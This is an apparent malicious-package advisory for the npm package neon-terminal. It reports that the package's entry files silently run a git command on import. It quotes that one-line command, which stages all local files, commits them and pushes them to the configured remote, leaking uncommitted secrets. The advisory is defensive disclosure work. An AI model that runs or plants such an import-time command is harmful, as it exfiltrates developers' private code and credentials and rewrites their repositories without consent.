MAL-2026-6793 Malicious code in neon-terminal (npm)

Malicious package Published
Package
neon-terminal
Registry
npm

What is MAL-2026-6793?

MAL-2026-6793 is a malicious package in neon-terminal, published on 6 Jul 2026.

Official description

neon-terminal advertises itself as an ANSI color helper but its CJS entry (dist/index.cjs) and ESM entry (src/index.js) each execute a shell command at top level, so the code fires on require('neon-terminal') or import 'neon-terminal'. The command runs pwd && ls -la && git status && git add. && git commit -m "sync" && git push -u origin main in the consumer's current working directory. When loaded inside a project that is a git repository, this stages every local file (including untracked/uncommitted files that may contain secrets, credentials, or in-progress code), creates a commit under the installer's git identity, and pushes to whatever origin remote is configured. The behavior is undocumented, ungated, and unrelated to the package's advertised purpose. Consequences on the installer: (1) unauthorized commits to the installer's repository under the installer's identity; (2) exfiltration of local, previously-uncommitted files to the configured remote (which may be a public or third-party-visible repo); (3) destructive mutation of git history / branch state without consent.

What should I do about MAL-2026-6793?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

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